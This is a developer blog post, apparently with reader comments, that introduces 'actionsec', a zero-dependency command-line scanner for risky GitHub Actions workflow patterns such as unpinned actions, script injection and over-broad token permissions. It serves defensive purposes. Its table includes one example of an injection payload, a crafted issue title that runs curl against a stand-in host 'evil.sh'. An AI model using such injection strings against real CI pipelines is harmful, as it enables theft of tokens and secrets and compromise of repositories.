Your CI workflow is the softest target in your repo. It runs automatically, it
has a GITHUB_TOKEN that can push commits, and it can read your secrets. The
supply-chain attacks of 2025 — reviewdog, tj-actions/changed-files — all came
in through the same unlocked door: a workflow that trusted a mutable action
tag, so when the upstream tag got repointed at malicious code, every consumer
ran it with full privileges.
The uncomfortable stat: 71% of repositories never pin their actions to a commit
SHA. @v4 is not a version — it's a
moving pointer someone else controls.
I wanted a five-second check for this and the other top footguns, with nothing to
install and nothing to configure. So I built actionsec.
npx actionsec
.github/workflows/ci.yml
✗ critical L12 pull-request-target-checkout pull_request_target checks out PR head code — untrusted code runs with a write token
✗ critical L16 script-injection untrusted github.event.pull_request.title in a run step
✗ high L5 broad-permissions permissions: write-all gives the token full read/write
✗ high L13 unpinned-action some-marketplace/deploy-action@main is a mutable branch — pin to a SHA
✗ medium L10 unpinned-action actions/checkout@v4 is a mutable tag — pin to a SHA
✗ 5 issue(s) in 1 of 1 file(s) — 2 critical, 2 high, 1 medium
The five checks
| Check | Why it matters |
|---|---|
| unpinned-action |
@v4 / @main is mutable. If the upstream tag is repointed (compromise or maintainer error), you run new code with your token. Pin to a 40-char SHA. |
| script-injection |
${{ github.event.issue.title }} in a run: step is substituted into the shell before it runs — a crafted issue title like `"; curl evil.sh \ |
| broad-permissions | {% raw %}permissions: write-all hands the token the whole repo. One injected command and it's pushing to main. |
| missing-permissions | No permissions: block means the repo default — often more than the job needs. |
| pull-request-target-checkout |
pull_request_target runs with a privileged token and secrets; checking out the PR's code then executes a stranger's code with them. |
The interesting constraint: zero dependencies on YAML
Workflows are YAML, and here's the thing — neither Node nor Python ships a YAML
parser in the standard library. Pulling one in would mean the tool itself has a
dependency tree (the exact thing a security tool shouldn't have).
So actionsec doesn't parse YAML into a tree at all. It scans line by line with
light block-awareness. That sounds crude, but it turns out every one of these
checks is textually distinctive — a uses: line, a ${{ }} expression inside
a run: block — so a careful line scanner catches them without ever needing to
understand the document structure. The payoff: it installs in one step, depends
on nothing, and runs in milliseconds. (It even distinguishes a third-party action
on a tag, high, from a GitHub-owned actions/* on a tag, medium.)
It is not trying to replace actionlint
(YAML/syntax validation) or zizmor (deep
dataflow analysis). It's the fast, zero-config first pass that fits in a pre-commit
hook or a one-line CI gate.
In CI
# fail the build on the serious stuff
- run: npx actionsec --min-severity high
Exit 0 clean, 1 issues found, 2 error. --format json for tooling.
Install
npx actionsec # Node — zero deps
pip install actionsec # Python — pure stdlib, works on any repo
Both produce byte-for-byte identical output.
Try it on your own repos
Point it at a repo you maintain — npx actionsec path/to/repo — and tell me what
it finds. I'm especially curious how many @v4s are hiding in workflows people
think of as "official and therefore safe."
When you write a workflow, do you pin actions to a SHA, or is @v4 good enough for
your threat model?
Top comments (2)
GitHub Actions is one of those places where small defaults have big security consequences. The useful scanner is not the one with the longest checklist; it is the one that catches the few patterns that actually turn into compromise: broad tokens, untrusted PR execution, unsafe checkout, and secrets crossing boundaries.
Well said! A security scanner shouldn't just be a laundry list of rules; catching these core patterns is what really matters. Thanks for the support!